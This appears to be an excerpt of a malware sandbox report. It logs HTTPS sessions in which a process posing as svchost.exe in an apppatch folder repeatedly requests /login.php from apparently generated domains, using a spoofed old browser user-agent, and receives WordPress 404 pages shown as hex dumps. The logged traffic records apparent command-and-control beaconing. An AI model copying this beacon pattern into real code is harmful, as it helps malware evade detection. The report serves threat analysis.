                                                                                                                                                                                                          2024-11-11 17:13:28 UTC945INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:28 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gKlsR995DzG5lUgNDN%2B8RMuWE4k5DSE0%2FlC2pJe2wazBm4c8FVZRP0RrmsYYdCFEWFnmHUyzmzjbD4KZXNzzhRAWRk4gTlO8XpyXuQ8tUWQ6hDamt5GyzG8xkj06bQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9bbab36a2af-YUL
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=11807&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=245215&cwnd=32&unsent_bytes=0&cid=fa2a4285b92977dd&ts=1318&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:28 UTC424INData Raw: 37 63 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7cac<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:13:28 UTC1369INData Raw: 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79
                                                                                                                                                                                                          Data Ascii: <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta property


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          8192.168.2.663420188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:30 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1093INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:31 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="48.9",amp_style_sanitizer;dur="21.9",amp_tag_and_attribute_sanitizer;dur="20.8",amp_optimizer;dur="23.6"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2bCc39d1Mt%2BpiwYAxEUM7BMb4FcwLsdFhAgMByRiwFC%2Bvk4MNUIPv9%2B5du1pJQR3574nSY14Z7%2FOmRZ7Ibu47H0mtdowYxVj2dKafznL6hI%2FHuV2QF%2BX9zKc7GuUg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9cd1e218099-NRT
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=154798&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=18726&cwnd=32&unsent_bytes=0&cid=790987abbe807eb3&ts=1691&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC276INData Raw: 37 63 31 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c18<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68
                                                                                                                                                                                                          Data Ascii: charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{heigh
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f
                                                                                                                                                                                                          Data Ascii: rolling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbo
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f
                                                                                                                                                                                                          Data Ascii: th:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-o
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b
                                                                                                                                                                                                          Data Ascii: amphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74
                                                                                                                                                                                                          Data Ascii: splay:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;t
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61
                                                                                                                                                                                                          Data Ascii: ilt:not(.i-amphtml-layout-container)>*,[layout]:not([layout=container]):not(.i-amphtml-element)>*,[width][height][heights]:not([layout]):not(.i-amphtml-element)>*,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-a
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 31 7d 61 6d 70 2d 69 6d 67 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3e 5b 70 6c 61 63 65 68 6f 6c 64 65 72 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 68 69 64 64 65 6e 2d 62 79 2d 6d 65 64 69 61 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64
                                                                                                                                                                                                          Data Ascii: ottom:0!important;z-index:1}amp-img[i-amphtml-ssr]:not(.i-amphtml-element)>[placeholder]{z-index:auto}.i-amphtml-notbuilt>[placeholder]{display:block!important}.i-amphtml-hidden-by-media-query{display:none!important}.i-amphtml-element-error{background:red
                                                                                                                                                                                                          2024-11-11 17:13:31 UTC1369INData Raw: 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 61 6d 70 2d 73 74 6f 72 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 3e 61 6d 70 2d 61 6e 61 6c 79 74 69 63 73 7b 70 6f 73 69 74 69 6f 6e 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 7d 5b 76 69 73 69 62 6c 65 2d 77 68 65 6e 2d 69 6e 76 61 6c 69 64 5d 3a 6e 6f 74 28 2e 76 69 73 69 62 6c 65 29 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72
                                                                                                                                                                                                          Data Ascii: ow:hidden!important;visibility:hidden}amp-story{visibility:hidden!important}html.i-amphtml-fie>amp-analytics{position:initial!important}[visible-when-invalid]:not(.visible),form [submit-error],form [submit-success],form [submitting]{display:none}amp-accor


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          9192.168.2.663440188.114.96.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:13:32 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1088INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:35 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="41.6",amp_style_sanitizer;dur="16.6",amp_tag_and_attribute_sanitizer;dur="19.0",amp_optimizer;dur="23.0"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BtLlicqq7lwrcabfKo41kf1arEExdlQf0CCUzJJJCa1NYQzQ3I9zQTU3Nxa8FFv4wLTukG5zPhEhmpSodxeuIaTC4NxUBhFE0L3RpV%2Flt2x%2BvjuzLBqtg3NmsHORaQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9db09718c6c-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1457&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=1983561&cwnd=250&unsent_bytes=0&cid=2cd5e7095c09ced0&ts=2640&x=0"
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC281INData Raw: 37 63 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c1e<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30
                                                                                                                                                                                                          Data Ascii: et="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69
                                                                                                                                                                                                          Data Ascii: ng:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{vi
                                                                                                                                                                                                          2024-11-11 17:13:35 UTC1369INData Raw: 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70
